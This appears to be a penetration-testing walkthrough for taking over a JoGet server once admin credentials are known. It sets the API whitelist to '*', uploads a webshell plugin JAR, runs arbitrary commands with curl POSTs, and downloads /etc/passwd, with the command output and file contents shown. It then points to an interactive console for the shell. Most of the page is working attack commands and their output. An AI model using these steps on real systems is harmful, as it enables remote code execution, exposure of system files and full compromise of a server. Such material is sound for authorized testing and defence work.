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JoGet - Upload a plugin

Requirements

  • A valid username and password of a user with admin rights on JoGet.

Exploitation

Step 1: Whitelist your IP in the API

First of all, you will need to whitelist your IP in the API (or put * to match every source IP). This will allow you to perform requests on the /jw/web/json endpoint.

  • API Domain Whitelist: *
  • API IP Whitelist: *

Step 2: Upload the webshell plugin

Go to "Manage plugins" page, at http://127.0.0.1:8000/jw/web/console/setting/plugin, and click on "Upload plugin":

Compile the webshell plugin or download a release here: https://github.com/p0dalirius/JoGet-plugin-webshell/. Then choose the JAR file of the webshell application and click on "Upload":

Step 3.1: Executing commands

You can now execute commands by sending a GET or POST request to http://127.0.0.1:8000/jw/web/json/plugin/podalirius.WebShell/service with action=exec&cmd=id:

$ curl -X POST 'http://127.0.0.1:8000/jw/web/json/plugin/podalirius.WebShell/service' --data "action=exec&cmd=id"
{"stdout":"uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat),0(root),27(sudo)\n","stderr":"","exec":["/bin/bash","-c","id"]}

You can also access it by a GET request from a browser:

Step 3.2: Downloading files

You can also download remote files by sending a GET or POST request to http://127.0.0.1:8000/jw/web/json/plugin/podalirius.WebShell/service with action=download&cmd=/etc/passwd:

$ curl -X POST 'http://127.0.0.1:8000/jw/web/json/plugin/podalirius.WebShell/service' --data "action=download&path=/etc/passwd" -o-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
tomcat:x:1000:1000::/home/tomcat:/bin/sh

Step 4: The interactive console

When your webshell is active, you can now use the interactive console.py to execute commands and download remote files.

demo.mp4

References